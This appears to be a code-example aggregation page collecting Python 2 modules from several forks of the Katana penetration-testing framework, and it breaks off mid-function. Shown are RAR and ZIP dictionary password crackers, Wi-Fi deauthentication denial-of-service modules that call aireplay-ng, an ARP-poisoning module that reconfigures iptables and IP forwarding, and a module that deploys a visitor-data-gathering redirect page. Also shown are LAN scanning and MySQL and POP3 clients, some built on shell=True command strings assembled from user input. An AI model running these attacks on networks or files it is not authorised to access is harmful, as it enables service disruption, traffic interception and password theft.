예제 #1
0
def btrar(run):
    try:
        global defaultarch, defaultdicc
        if run != 1:
            actions = raw_input(d.prompt("fle/bruterar"))
        else:
            actions = "run"
        if actions == "show options" or actions == "sop":
            d.option()
            d.descrip("file", "yes", "file with pass", defaultarch)
            d.descrip("dict", "yes", "Dictionary pass", defaultdicc)
            print ""
            btrar(0)
        elif actions[0:8] == "set file":
            defaultarch = ping.update(defaultarch, actions, "file")
            d.change("file", defaultarch)
        elif actions[0:8] == "set dict":
            defaultdicc = ping.update(defaultdicc, actions, "dict")
            d.change("dict", defaultdicc)
        elif actions == "exit" or actions == "x":
            d.goodbye()
            exit()
        elif actions == "help" or actions == "h":
            help.help()
        elif actions == "back" or actions == "b":
            pass
        elif actions == "run" or actions == "r":
            d.run()
            try:
                d.loading_file()
                Arch = open(defaultdicc, "r")
                if True:
                    leeArchivo = Arch.readlines()
                    try:
                        RARarch = RarFile(defaultarch)
                        if True:
                            for palabra in leeArchivo:
                                palabraLlegada = palabra.split("\n")
                                try:
                                    RARarch.extractall(
                                        pwd=str(palabraLlegada[0]))
                                    if True:
                                        ping.savetwo("BruteForceRAR",
                                                     defaultarch,
                                                     palabraLlegada[0])
                                        print "\n-" + Suf + " file Cracked with =", str(
                                            palabraLlegada[0]) + "\n"
                                        return 1
                                except:
                                    print " " + Alr + " Checking with ", str(
                                        palabraLlegada[0])
                    except:
                        Errors.Errors(event=sys.exc_info(), info=defaultarch)
            except:
                Errors.Errors(event=sys.exc_info(), info=defaultdicc)
        else:
            d.No_actions()
    except:
        Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
    btrar(0)
예제 #2
0
파일: Wifi_DDOS.py 프로젝트: serbyy/Katana
def ddos(run):
	global defaultcar,defaultint,defaultmac,defaultcha,defaultess
	try:
		if run!=1:
			actions=raw_input(d.prompt("wifi/dos"))
		else:
			actions="run"
		if actions == "show options" or actions == "sop":
			d.option()
			d.descrip("intf","yes","Interface card",defaultcar)
			d.descrip("intm","yes","Int... monitor",defaultint)
			d.descrip("bssid","yes","Mac address",defaultmac)
			d.descrip("essid","yes","Name of AP",defaultess)
			d.descrip("chan","yes","Channel red",defaultcha)
			d.helpAUX()
			ping.interfaces(1)
			ping.monitor()
			d.space()
		elif actions[0:8] == "set intf":
			defaultcar=ping.update(defaultcar,actions,"intf")
			d.change("intf",defaultcar)
		elif actions[0:8] == "set intm":
			defaultint=ping.update(defaultint,actions,"intm")
			d.change("intm",defaultint)
		elif actions[0:9] == "set bssid":
			defaultmac=ping.update(defaultmac,actions,"bssid")
			d.change("bssid",defaultmac)
		elif actions[0:9] == "set essid":
			defaultess=ping.update(defaultess,actions,"essid")
			d.change("essid",defaultess)
		elif actions[0:8] == "set chan":
			defaultcha=ping.update(defaultcha,actions,"chan")
			d.change("chan",defaultcha)
		elif actions[0:5] == "start":
			start = actions[6:]
			print " "+Alr+" Starting Monitor Mode In "+start,ping.status_cmd("airmon-ng start "+start,"\t\t\t")
		elif actions=="exit" or actions=="x":
			d.goodbye()
			exit()
		elif actions=="help" or actions=="h":
			help.help()
		elif actions=="back" or actions=="b":
			return
		elif actions=="run"  or actions=="r":
			d.run()
			try:
				print " "+Alr+" Starting attack..."
				subprocess.call('aireplay-ng --deauth 1000 -a '+defaultmac+' '+defaultint, shell=True)
			except(KeyboardInterrupt, SystemExit):
				print("\n "+Alr+" Stopped DDOS")
		else:
			d.nocommand()
	except:
		d.kbi()
		exit()
	ddos(0)
예제 #3
0
파일: BruteZIP.py 프로젝트: Reality9/Katana
def btzip(run):
	try:
		global defaultarch,defaultdicc
		if run!=1:
			actions=raw_input(d.prompt("fle/zip"))
		else:
			actions="run"
		if actions == "show options" or actions == "sop":
			d.option()
			d.descrip("file","yes","file with pass",defaultarch)
 			d.descrip("dict","yes","Dictionary pass",defaultdicc)
			print ""
			btzip(0)
		elif actions[0:8] == "set file":
			defaultarch=ping.update(defaultarch,actions,"file")
			d.change("file",defaultarch)
		elif actions[0:8] == "set dict":
			defaultdicc=ping.update(defaultdicc,actions,"dict")
			d.change("dict",defaultdicc)
		elif actions=="exit" or actions=="x":
			d.goodbye()
			exit()
		elif actions=="help" or actions=="h":
			help.help()
		elif actions=="back" or actions=="b":
			pass
		elif actions=="run"  or actions=="r":
			d.run()
			try:
				d.loading_file()
				Arch = open(defaultdicc,"r")
				if True:
					leeArchivo = Arch.readlines()
					try:
						ZIParch = zipfile.ZipFile(defaultarch)
						if True:
							for palabra in leeArchivo:
								palabraLlegada = palabra.split("\n")
								try:
									ZIParch.extractall(pwd=str(palabraLlegada[0]))
									if True:
										ping.savetwo("BruteForceZIP",defaultarch,palabraLlegada[0])
										print "\n-"+Suf+" file Cracked with =",str(palabraLlegada[0])+"\n"
										return 1
								except:
									print " "+Alr+" Checking with ",str(palabraLlegada[0])
					except:
						Errors.Errors(event=sys.exc_info(), info=defaultarch)
			except:
				Errors.Errors(event=sys.exc_info(), info=defaultdicc)
		else:
			d.No_actions()
	except:
		Errors.Errors(event=sys.exc_info(), info=False)
	btzip(0)
예제 #4
0
파일: Wifi_DDOS.py 프로젝트: hxp2k6/Katana
def ddos(run):
    global defaultint, defaultmac
    try:
        if run != 1:
            actions = raw_input(d.prompt("wifi/dos"))
        else:
            actions = "run"
        if actions == "show options" or actions == "sop":
            d.option()
            d.descrip("device", "yes", "Interface", defaultint)
            d.descrip("bssid", "yes", "Mac Target", defaultmac)
            d.helpAUX()
            ping.interfaces(1)
            ping.monitor()
            d.space()
        elif actions[0:10] == "set device":
            defaultint = ping.update(defaultint, actions, "device")
            d.change("device", defaultint)
            ddos(0)
        elif actions[0:9] == "set bssid":
            defaultmac = ping.update(defaultmac, actions, "bssid")
            d.change("bssid", defaultmac)
        elif actions[0:5] == "start":
            start = actions[6:]
            print " " + Alr + " Starting Monitor Mode In " + start, ping.status_cmd(
                "sudo airmon-ng start " + start, "\t\t\t")
        elif actions == "exit" or actions == "x":
            d.goodbye()
            exit()
        elif actions == "help" or actions == "h":
            help.help()
        elif actions == "back" or actions == "b":
            return
        elif actions == "run" or actions == "r":
            d.run()
            try:
                if ping.checkDevice(defaultint):
                    print " " + Alr + " Starting attack to " + defaultmac
                    subprocess.call('aireplay-ng --deauth 100000 -a ' +
                                    defaultmac + ' ' + defaultint,
                                    shell=True)
                    stopAttack = raw_input(
                        ' ' + Hlp + ' Press Any Key for Stop the Attack.')
                    subprocess.call("killall aireplay-ng", shell=True)
                else:
                    d.NoDeviceFound(defaultint)
            except:
                Errors.Errors(event=sys.exc_info(), info=3)
        else:
            d.No_actions()
    except:
        Errors.Errors(event=sys.exc_info(), info=1)
    ddos(0)
예제 #5
0
def ddos(run):
	global defaultint,defaultmac,defaulchan
	try:
		if run!=1:
			actions=raw_input(d.prompt("wifi/dos"))
		else:
			actions="run"
		if actions == "show options" or actions == "sop":
			d.option()
			d.descrip("device","yes","Interface",defaultint)
			d.descrip("bssid","yes","Mac Target",defaultmac)
			d.descrip("chann","yes","Channel ap",defaultmac)
			d.helpAUX()
			ping.interfaces(1)
			ping.monitor()
			d.space()
		elif actions[0:10] == "set device":
			defaultint=ping.update(defaultint,actions,"device")
			d.change("device",defaultint)
			ddos(0)
		elif actions[0:9] == "set bssid":
			defaultmac=ping.update(defaultmac,actions,"bssid")
			d.change("bssid",defaultmac)
		elif actions[0:5] == "start":
			start = actions[6:]
			print " "+Alr+" Starting Monitor Mode In "+start,ping.status_cmd("sudo airmon-ng start "+start,"\t\t\t")
		elif actions=="exit" or actions=="x":
			d.goodbye()
			exit()
		elif actions=="help" or actions=="h":
			help.help()
		elif actions=="back" or actions=="b":
			return
		elif actions=="run"  or actions=="r":
			d.run()
			try:
				if ping.checkDevice(defaultint):
					print " "+Alr+" Starting attack to "+defaultmac
					ping.Subprocess('aireplay-ng --deauth 100000 -a '+defaultmac+' '+defaultint)
					NULL=raw_input(" "+Hlp+" for Stop DOS Attack (PRESS ANY KEY)")
					subprocess.call("killall aireplay-ng", shell=True)
				else:
					d.NoDeviceFound(defaultint)
			except:
				Errors.Errors(event=sys.exc_info(), info=3)
		else:
			d.No_actions()
	except:
		Errors.Errors(event=sys.exc_info(), info=1)
	ddos(0)
예제 #6
0
def wuis(run):
    try:
        global defaulthost, defaultport
        if run != 1:
            actions = raw_input(d.prompt("web/whois"))
        else:
            actions = "run"
        if actions == "show options" or actions == "sop":
            d.option()
            d.descrip("target", "yes", "IP or DNS", defaulthost)
            d.descrip("port", "no", "Port of target", defaultport)
            d.space()
        elif actions[0:10] == "set target":
            defaulthost = defaulthost.replace("http://", "")
            defaulthost = ping.update(defaulthost, actions, "target")
            d.change("target", defaulthost)
        elif actions[0:8] == "set port":
            defaultport = ping.update(defaultport, actions, "port")
            d.change("port", defaultport)
        elif actions == "exit" or actions == "x":
            d.goodbye()
            exit()
        elif actions == "help" or actions == "h":
            help.help()
        elif actions == "back" or actions == "b":
            return
            return
        elif actions == "run" or actions == "r":
            d.run()
            try:
                ping.live(defaulthost, defaultport)
                if True:
                    try:
                        w = whois.whois(defaulthost)
                        if w:
                            wd = w.__dict__
                            for k, v in wd.items():
                                print('%20s\t"%s"' % (k, v))
                            print ""
                    except:
                        Errors.Errors(event=sys.exc_info(), info=False)
            except:
                Errors.Errors(event=sys.exc_info()[0],
                              info=defaulthost + ":" + defaultport)
        else:
            d.No_actions()
    except:
        Errors.Errors(event=sys.exc_info()[0], info=False)
    wuis(0)
예제 #7
0
파일: Whois.py 프로젝트: hanshaze/Katana
def wuis(run):
	try:
		global defaulthost,defaultport
		if run!=1:
			actions=raw_input(d.prompt("web/whois"))
		else:
			actions="run"
		if actions == "show options" or actions == "sop":
			d.option()
			d.descrip("target","yes","IP or DNS",defaulthost)
			d.descrip("port","no","Port of target",defaultport)
			d.space()
		elif actions[0:10] == "set target":
			defaulthost=defaulthost.replace("http://", "")
			defaulthost=ping.update(defaulthost,actions,"target")
			d.change("target",defaulthost)
		elif actions[0:8] == "set port":
			defaultport=ping.update(defaultport,actions,"port")
			d.change("port",defaultport)
		elif actions=="exit" or actions=="x":
			d.goodbye()
			exit()
		elif actions=="help" or actions=="h":
			help.help()
		elif actions=="back" or actions=="b":
			return
			return
		elif actions=="run"  or actions=="r":
			d.run()
			try:
				ping.live(defaulthost,defaultport)
				if True:
					try:
						w = whois.whois(defaulthost)
						if w:
							wd = w.__dict__
							for k, v in wd.items():
								print('%20s\t"%s"' % (k, v))
							print ""
					except:
						Errors.Errors(event=sys.exc_info(), info=False)
			except:
				Errors.Errors(event=sys.exc_info()[0], info=defaulthost+":"+defaultport)
		else:
			d.No_actions()
	except:
		Errors.Errors(event=sys.exc_info()[0], info=False)
	wuis(0)
예제 #8
0
파일: LANScanner.py 프로젝트: serbyy/Katana
def hostl(run):
	global defaultnet,defaulttyp
	try:
		if run!=1:
			actions=raw_input(d.prompt("net/lanlive"))
		else:
			actions="run"
		if actions == "show options" or actions == "sop":
			d.option()
			d.descrip("nets","yes","Local area net",defaultnet)
			#d.descrip("type","no","type scan",defaulttyp)
			d.helpAUX()
			if ping.conneted()!=False:
				print " You IP     : ",ping.myip()
			else:
				print d.noconnect()
			#print " Type       :  {fast}{intense}"
			d.space()
			hostl(0)
		elif actions[0:8] == "set nets":
			defaultnet=ping.update(defaultnet,actions,"nets")
			d.change("nets",defaultnet)
		elif actions[0:8] == "set type":
			defaulttyp=ping.update(defaulttyp,actions,"type")
			d.change("type",defaulttyp)
		elif actions=="exit" or actions=="x":
			d.goodbye()
			exit()
		elif actions=="help" or actions=="h":
			help.help()
		elif actions=="back" or actions=="b":
			return
		elif actions=="run"  or actions=="r":
			d.run()
			try:
				d.space()
				ping.lan_ips(1)
				d.space()
			except:
				Errors.Errors(event=sys.exc_info(), info=False)
		else:
			d.No_actions()
	except:
		Errors.Errors(event=sys.exc_info()[0], info=False)
	hostl(0)
예제 #9
0
def getdatareport(run):
	try:
		global defaultred,defaultjav
		if run!=1:
			actions=raw_input(d.prompt("set/gdreport"))
		else:
			actions="run"
		if actions == "show options" or actions == "sop":
			d.option()
			d.descrip("link","yes","redirectly",defaultred)
			d.descrip("java","no","JS for Geo",defaultjav)
 			d.space()
		elif actions[0:8] == "set link":
			defaultred=ping.update(defaultred,actions,"link")
			d.change("link",defaultred)
		elif actions[0:9] == "set javas":
			defaultjav = actions[10:]
			if defaultjav == "true" or defaultjav == "false":
				d.change("javas",defaultjav)
			else:
				d.nodataallow()
		elif actions=="exit" or actions=="x":
			d.goodbye()
			exit()
		elif actions=="help" or actions=="h":
			help.help()
		elif actions=="back" or actions=="b":
			return
		elif actions=="run"  or actions=="r":
			d.run()
			try:
				print " "+Alr+" Setting files",ping.status_cmd('echo "<?php \$url=\'http://'+defaultred+'\';\$javascript=\''+defaultjav+'\';?>" > '+PATCH_WWW+'/appconfig.php & echo ',"\t\t\t\t")
				print " "+Alr+" Coping files to server",ping.status_cmd("cp files/getdatareport/* "+PATCH_WWW,"\t\t\t")
				print " "+Alr+" Giving privileges to files",ping.status_cmd("chmod -R 777 "+PATCH_WWW,"\t\t")
				if True:
					try:
						print " "+Alr+" Starting Apache Server",ping.status_cmd("service apache2 start","\t\t\t")
						d.go("http://127.0.0.1/redirect.php?id=1337")
						raw_input(" "+Hlp+" Press any key for Stop GetDataReport")
						print(" "+Alr+" Stoping Process")
						print " "+Alr+" Removing files",ping.status_cmd("rm "+PATCH_WWW+"/redirect.php "+PATCH_WWW+"/appconfig.php "+PATCH_WWW+"/jquery.js","\t\t\t\t")
						print " "+Alr+" Stoping Apache",ping.status_cmd("service apache2 stop","\t\t\t\t")
					except:
						print ""
						print(" "+Alr+" Stoping Process")
						print " "+Alr+" Removing files",ping.status_cmd("rm "+PATCH_WWW+"/redirect.php "+PATCH_WWW+"appconfig.php "+PATCH_WWW+"/jquery.js","\t\t\t\t")
						print " "+Alr+" Stoping Apache",ping.status_cmd("service apache2 stop","\t\t\t\t")
						print ""
						getdatareport(0)
			except:
				Errors.Errors(event=sys.exc_info()[0], info=False)
		else:
			d.No_actions()
	except:
		Errors.Errors(event=sys.exc_info()[0], info=False)
	getdatareport(0)
예제 #10
0
def exiftool(run):
    try:
        global defaultimg
        if run != 1:
            actions = raw_input(d.prompt("for/imagen"))
        else:
            actions = "run"
        if actions == "show options" or actions == "sop":
            d.option()
            d.descrip("imagen", "yes", "img for forence", defaultimg)
            print ""
        elif actions[0:10] == "set imagen":
            defaultimg = ping.update(defaultimg, actions, "imagen")
            d.change("target", defaultimg)
        elif actions == "exit" or actions == "x":
            d.goodbye()
            exit()
        elif actions == "help" or actions == "h":
            help.help()
        elif actions == "back" or actions == "b":
            return
            return
        elif actions == "run" or actions == "r":
            d.run()
            try:
                d.loading_file()
                try:
                    with open(defaultimg, 'r') as comprossed:
                        if True:
                            try:
                                print "\n " + Hlp + " Forence Imagen Client help\n"
                                print "  ------------------------------------------"
                                print "  |extrat_all | extrat all MD  | ls        |"
                                print "  ------------------------------------------"
                                cmd = "nop"
                                while (cmd != "exit"):
                                    cmd = raw_input(
                                        d.Client_prompt('forence{IMAGEN}'))
                                    if (cmd == "extract_all"):
                                        subprocess.call(
                                            "perl files/exiftool/exiftool " +
                                            defaultimg,
                                            shell=True)
                            except:
                                Errors.Errors(event=sys.exc_info()[0],
                                              info=False)
                except:
                    Errors.Errors(event=sys.exc_info()[0], info=defaultimg)
            except:
                Errors.Errors(event=sys.exc_info()[0], info=False)
        else:
            d.No_actions()
    except:
        Errors.Errors(event=sys.exc_info()[0], info=False)
    exiftool(0)
예제 #11
0
def exiftool(run):
	try:
		global defaultimg
		if run!=1:
			actions=raw_input(d.prompt("for/imagen"))
		else:
			actions="run"
		if actions == "show options" or actions == "sop":
			d.option()
			d.descrip("imagen","yes","img for forence",defaultimg)
			print ""
		elif actions[0:10] == "set imagen":
			defaultimg=ping.update(defaultimg,actions,"imagen")
			d.change("target",defaultimg)
		elif actions=="exit" or actions=="x":
			d.goodbye()
			exit()
		elif actions=="help" or actions=="h":
			help.help()
		elif actions=="back" or actions=="b":
			return
			return
		elif actions=="run"  or actions=="r":
			d.run()
			try:
				d.loading_file()
				try:
					with open(defaultimg,'r') as comprossed:
						if True:
							try:
								print "\n "+Hlp+" Forence Imagen Client help\n"
								print "  ------------------------------------------"
								print "  |"+colors[6]+"Command    "+colors[0]+"| "+colors[6]+"Description"+colors[0]+"    | "+colors[6]+"Examples"+colors[0]+"  |"
								print "  ------------------------------------------"
								print "  |extrat_all | extrat all MD  | ls        |" 
								print "  ------------------------------------------"
								d.space()
								cmd="nop"
								while(cmd!="exit"):
									cmd = raw_input(d.Client_prompt('forence{IMAGEN}'))
									if(cmd=="extrat_all"):
										subprocess.call("perl files/exiftool/exiftool "+defaultimg, shell=True)
							except:
								Errors.Errors(event=sys.exc_info()[0], info=False)
				except:
					Errors.Errors(event=sys.exc_info()[0], info=defaultimg)
			except:
				Errors.Errors(event=sys.exc_info()[0], info=False)
		else:
			d.No_actions()
	except:
		Errors.Errors(event=sys.exc_info()[0], info=False)
	exiftool(0)
예제 #12
0
def hostl(run):
	global defaultnet,defaulttyp
	try:
		if run!=1:
			actions=raw_input(d.prompt("net/lanlive"))
		else:
			actions="run"
		if actions == "show options" or actions == "sop":
			d.option()
			d.descrip("nets","yes","Local area net",defaultnet)
			#d.descrip("type","no","type scan",defaulttyp)
			d.helpAUX()
			if ping.conneted()!=False:
				print " You IP     : ",ping.myip()
			else:
				print d.noconnect()
			#print " Type       :  {fast}{intense}"
			d.space()
			hostl(0)
		elif actions[0:8] == "set nets":
			defaultnet=ping.update(defaultnet,actions,"nets")
			d.change("nets",defaultnet)
		elif actions[0:8] == "set type":
			defaulttyp=ping.update(defaulttyp,actions,"type")
			d.change("type",defaulttyp)
		elif actions=="exit" or actions=="x":
			d.goodbye()
			exit()
		elif actions=="help" or actions=="h":
			help.help()
		elif actions=="back" or actions=="b":
			return
		elif actions[0:5]=="save:":
			ping.SaveVariable(secuence=actions, matrix=IPs)
		elif actions=="run"  or actions=="r":
			d.run()
			try:
				d.space()
				commands.getoutput(NMAP_PATH+' -sn '+str(defaultnet)+'/24 -oX tmp/ips.xml > null')
				GateWay=ping.get_gateway(2)
				tree = ET.parse('tmp/ips.xml')
				root = tree.getroot()
				IPf=0
				counter=0
				IP=""
				for host in root.findall('host'):
					for hosted in host.findall('address'):
						if hosted.get('addrtype') == "ipv4":
							IPf=hosted.get('addr')
						else:
							if GateWay == IPf :
								IPf=colors[8]+colors[4]+"{GW:"+IPf+"}"+colors[0]
							IPs.append(" "+IPf+" "+str(hosted.get('addr'))+" "+str(hosted.get('vendor')))
				print " "+colors[10]+colors[7]+" # \t IP \t\t MAC \t\t VENDOR         "+colors[0]

				for HOST in IPs:
					counter=counter+1				
					print " ["+str(counter)+"]"+HOST
				d.space()
				commands.getoutput('rm tmp/ips.xml > null')
			except:
				Errors.Errors(event=sys.exc_info(), info=False)
		else:
			d.No_actions()
	except:
		Errors.Errors(event=sys.exc_info(), info=False)
	hostl(0)
예제 #13
0
def arpp(run):
    try:
        global defaultgat, defaultipv, defaultint
        if run != 1:
            actions = raw_input(d.prompt("net/arpspoof"))
        else:
            actions = "run"
        if actions == "show options" or actions == "sop":
            d.option()
            d.descrip("target", "yes", "IP victim", defaultipv)
            d.descrip("gway", "yes", "Gateway-Router.", defaultgat)
            d.descrip("iterce", "yes", "Interface", defaultint)
            d.helpAUX()
            if ping.conneted() != False:
                ping.interfaces(1)
                ping.get_gateway(1)
                ping.my_mac_address(1)
                d.space()
                if ping.conneted() != False:
                    commands.getoutput(NMAP_PATH + ' -sn ' + str(ping.myip()) +
                                       '/24 -oX tmp/ips.xml > null')
                    GateWay = ping.get_gateway(2)
                    tree = ET.parse('tmp/ips.xml')
                    root = tree.getroot()
                    IPf = 0
                    counter = 0
                    IP = ""
                    for host in root.findall('host'):
                        for hosted in host.findall('address'):
                            if hosted.get('addrtype') == "ipv4":
                                IPf = hosted.get('addr')
                            else:
                                if GateWay == IPf:
                                    IPf = colors[8] + colors[
                                        4] + "{GW:" + IPf + "}" + colors[0]
                                IPs.append(" " + IPf + " " +
                                           str(hosted.get('addr')) + " " +
                                           str(hosted.get('vendor')))
                    print " " + colors[10] + colors[
                        7] + " # \t IP \t\t MAC \t\t VENDOR         " + colors[
                            0]

                    for HOST in IPs:
                        counter = counter + 1
                        print " [" + str(counter) + "]" + HOST
                    d.space()
                    commands.getoutput('rm tmp/ips.xml > null')
            else:
                print d.noconnect()
            print ""
            arpp(0)
        elif actions[0:10] == "set target":
            defaultipv = ping.update(defaultipv, actions, "target")
            d.change("target", defaultipv)
        elif actions[0:8] == "set gway":
            defaultgat = ping.update(defaultgat, actions, "gway")
            d.change("gway", defaultgat)
        elif actions[0:10] == "set iterce":
            defaultint = ping.update(defaultint, actions, "iterce")
            d.change("iterce", defaultint)
        elif actions == "exit" or actions == "x":
            d.goodbye()
            exit()
        elif actions == "help" or actions == "h":
            help.help()
        elif actions == "back" or actions == "b":
            return
            return
        elif actions[0:5] == "save:":
            ping.SaveVariable(secuence=actions, matrix=IPs)
        elif actions == "run" or actions == "r":
            d.run()
            try:
                My_Ip = ping.myip()
                Tables = """
iptables --flush;
iptables --zero;
iptables --delete-chain;
iptables -F -t nat;
iptables --append FORWARD --in-interface """ + defaultint + """ --jump ACCEPT;
iptables --table nat --append POSTROUTING --out-interface """ + defaultint + """;
"""

                print " " + Alr + " Ensure the victim recieves packets by forwarding them", ping.status_cmd(
                    'echo 1 > /proc/sys/net/ipv4/ip_forward', '\t')
                print " " + Alr + " Configuring IPtables NAT", ping.status_cmd(
                    Tables, '\t\t\t\t')
                print " " + Alr + " Starting ARP Poisoning..."
                try:
                    z = multiprocessing.Process(target=Get_PoisoningTTG)
                    t = multiprocessing.Process(target=Get_PoisoningTGT)
                    t.start()
                    z.start()
                    NULL = raw_input(" " + Hlp +
                                     " Stop Attack ARP (PRESS ANY KEY)")
                    print " " + Alr + " Stopping ARP Poisoning...", ping.status_cmd(
                        'killall arpspoof', '\t\t\t\t')
                    print " " + Alr + " Setting Normal configuration in forwarding", ping.status_cmd(
                        'echo 0 > /proc/sys/net/ipv4/ip_forward', '\t\t')
                    t.terminate()
                    z.terminate()
                    d.space()
                    arpp(0)
                except:
                    Errors.Errors(event=sys.exc_info(), info=False)
            except:
                Errors.Errors(event=sys.exc_info(), info=False)
        else:
            d.No_actions()
    except:
        Errors.Errors(event=sys.exc_info(), info=False)
    arpp(0)
예제 #14
0
def cmysql(run):
    global defaulthost, defaultport, defaultuser, defaultpass
    try:
        if run != 1:
            actions = raw_input(d.prompt("clt/sql"))
        else:
            actions = "run"
        if actions == "show options" or actions == "sop":
            d.option()
            d.descrip("target", "yes", "IP or DNS", defaulthost)
            d.descrip("port", "no", "Port of target", defaultport)
            d.descrip("user", "yes", "Username", defaultuser)
            d.descrip("pass", "yes", "Password", defaultpass)
            d.space()
            cmysql(0)
        elif actions[0:10] == "set target":
            defaulthost = ping.update(defaulthost, actions, "target")
            d.change("target", defaulthost)
        elif actions[0:8] == "set port":
            defaultport = ping.update(defaultport, actions, "port")
            d.change("port", defaultport)
        elif actions[0:8] == "set user":
            defaultuser = ping.update(defaultuser, actions, "user")
            d.change("user", defaultuser)
        elif actions[0:8] == "set pass":
            defaultpass = ping.update(defaultpass, actions, "pass")
            d.change("pass", defaultpass)
        elif actions == "exit" or actions == "x":
            d.goodbye()
            exit()
        elif actions == "help" or actions == "h":
            help.help()
        elif actions == "back" or actions == "b":
            return
        elif actions == "run" or actions == "r":
            d.run()
            try:
                ping.live(defaulthost, defaultport)
                if True:
                    try:
                        con = MySQLdb.connect(defaulthost, defaultuser,
                                              defaultpass, "")
                        if True:
                            try:
                                cmd = "nop"
                                print "\n " + Hlp + " SQL Client help\n"
                                print "  -------------------------------------------------------------------------------------------------------"
                                print "  |" + colors[6] + "Commd" + colors[
                                    0] + "            | " + colors[
                                        6] + "Description" + colors[
                                            0] + "     | " + colors[
                                                6] + "Examples" + colors[
                                                    0] + "                                                        |"
                                print "  -------------------------------------------------------------------------------------------------------"
                                print "  |show databases   | list databases  | show databases                                                  |"
                                print "  |use	            | select database | use user_table                                                  |"
                                print "  |show tables	    | list tables     | show tables                                                     |"
                                print "  |create database  | create databases| create database USERS                                           | "
                                print "  |create table	    | create tables   | create table EMAILS (id INT PRIMARY KEY, name VARCHAR(20))      | "
                                print "  |drop database    | drop databases  | drop database USERS                                             | "
                                print "  |drop table       | drop tables     | drop table EMAIL                                                | "
                                print "  |insert	    | insert data     | insert into EMAILS values ( '2', '*****@*****.**' )               | "
                                print "  |update           | update data     | update EMAILS set name='Willy' where id=1                       | "
                                print "  |select           | select data     | select id, name from EMAILS                                     | "
                                print "  -------------------------------------------------------------------------------------------------------"
                                print ""
                                while (cmd != "exit"):
                                    cmd = raw_input(d.Client_prompt('sql'))
                                    cur = con.cursor()
                                    try:
                                        tor = cur.execute(cmd)
                                        if True:
                                            for x in range(tor):
                                                print cur.fetchone()
                                    except:
                                        print " " + Bad + " No command '" + cmd + "' found"
                            except:
                                Errors.Errors(event=sys.exc_info()[0],
                                              info=False)
                    except:
                        Errors.Errors(event=sys.exc_info(),
                                      info=defaulthost + ":" + defaultport)
            except:
                Errors.Errors(event=sys.exc_info()[0],
                              info=defaulthost + ":" + defaultport)
        else:
            d.No_actions()
    except:
        Errors.Errors(event=sys.exc_info()[0], info=False)
    cmysql(0)
예제 #15
0
파일: ClientPOP3.py 프로젝트: hxp2k6/Katana
def cpop3(run):
    try:
        global defaulthost, defaultport, defaultuser, defaultpass
        if run != 1:
            actions = raw_input(d.prompt("clt/pop3"))
        else:
            actions = "run"
        if actions == "show options" or actions == "sop":
            d.option()
            d.descrip("target", "yes", "IP or DNS", defaulthost)
            d.descrip("port", "no", "Port of target", defaultport)
            d.descrip("user", "yes", "Username", defaultuser)
            d.descrip("pass", "yes", "Password", defaultpass)
            d.space()
            cpop3(0)
        elif actions[0:10] == "set target":
            defaulthost = defaulthost.replace("http://", "")
            defaulthost = ping.update(defaulthost, actions, "target")
            d.change("target", defaulthost)
        elif actions[0:8] == "set port":
            defaultport = ping.update(defaultport, actions, "port")
            d.change("port", defaultport)
        elif actions[0:8] == "set user":
            defaultuser = ping.update(defaultuser, actions, "user")
            d.change("user", defaultuser)
        elif actions[0:8] == "set pass":
            defaultpass = ping.update(defaultpass, actions, "pass")
            d.change("pass", defaultpass)
        elif actions == "exit" or actions == "x":
            d.goodbye()
            exit()
        elif actions == "help" or actions == "h":
            help.help()
        elif actions == "back" or actions == "b":
            return
        elif actions == "run" or actions == "r":
            d.run()
            try:
                red = poplib.POP3(defaulthost, defaultport)
                try:
                    red.user(defaultuser)
                    red.pass_(defaultpass)
                    if True:
                        cmd = "nop"
                        print "\n " + Hlp + " POP3 Client help\n"
                        print "  ----------------------------------------"
                        print "  |" + colors[6] + "Commd" + colors[
                            0] + "| " + colors[6] + "Description" + colors[
                                0] + " | " + colors[6] + "Examples" + colors[
                                    0] + "         |"
                        print "  ----------------------------------------"
                        print "  |list	| list mails  | list             |"
                        print "  |retr	| show mail   | retr 2           |"
                        print "  |dele	| remove mail | dele 2           |"
                        print "  |quit	|exit d remove| quit             | "
                        print "  ----------------------------------------"
                        print ""
                        if True:
                            if True:
                                if True:
                                    while (cmd != "exit"):
                                        cmd = raw_input(
                                            d.Client_prompt('pop3'))
                                        if cmd == "list":
                                            numMessages = len(red.list()[1])
                                            for i in range(numMessages):
                                                print "	mail " + str(i)
                                        if cmd[0:4] == "retr":
                                            for j in red.retr(
                                                    int(cmd[5:]) + 1)[1]:
                                                print j
                                        if cmd[0:4] == "dele":
                                            try:
                                                red.dele(int(cmd[5:]) + 1)[1]
                                                if True:
                                                    print " " + Alr + " email marked for delete ('quit' for exit and delete all email marked)"
                                            except Exception, e:
                                                print(" " + Bad + " Error", e)
                                        if cmd == "quit":
                                            red.quit()
                                            print " " + Alr + " Exit, bye."
                                            break
                except:
                    d.No_match()
            except:
                Errors.Errors(event=sys.exc_info()[0],
                              info=defaulthost + ":" + defaultport)
        else:
            d.No_actions()
    except:
        Errors.Errors(event=sys.exc_info()[0], info=False)
    cpop3(0)
예제 #16
0
파일: LANScanner.py 프로젝트: dovao/Katana
def hostl(run):
	global defaultnet,defaulttyp
	try:
		if run!=1:
			actions=raw_input(d.prompt("net/lanlive"))
		else:
			actions="run"
		if actions == "show options" or actions == "sop":
			d.option()
			d.descrip("nets","yes","Local area net",defaultnet)
			#d.descrip("type","no","type scan",defaulttyp)
			d.helpAUX()
			if ping.conneted()!=False:
				print " You IP     : ",ping.myip()
			else:
				print d.noconnect()
			#print " Type       :  {fast}{intense}"
			d.space()
			hostl(0)
		elif actions[0:8] == "set nets":
			defaultnet=ping.update(defaultnet,actions,"nets")
			d.change("nets",defaultnet)
		elif actions[0:8] == "set type":
			defaulttyp=ping.update(defaulttyp,actions,"type")
			d.change("type",defaulttyp)
		elif actions=="exit" or actions=="x":
			d.goodbye()
			exit()
		elif actions=="help" or actions=="h":
			help.help()
		elif actions=="back" or actions=="b":
			return
		elif actions[0:5]=="save:":
			ping.SaveVariable(secuence=actions, matrix=IPs)
		elif actions=="run"  or actions=="r":
			d.run()
			try:
				d.space()
				commands.getoutput(NMAP_PATH+' -sn '+str(defaultnet)+'/24 -oX tmp/ips.xml > null')
				GateWay=ping.get_gateway(2)
				tree = ET.parse('tmp/ips.xml')
				root = tree.getroot()
				IPf=0
				counter=0
				IP=""
				for host in root.findall('host'):
					for hosted in host.findall('address'):
						if hosted.get('addrtype') == "ipv4":
							IPf=hosted.get('addr')
						else:
							if GateWay == IPf :
								IPf=colors[8]+colors[4]+"{GW:"+IPf+"}"+colors[0]
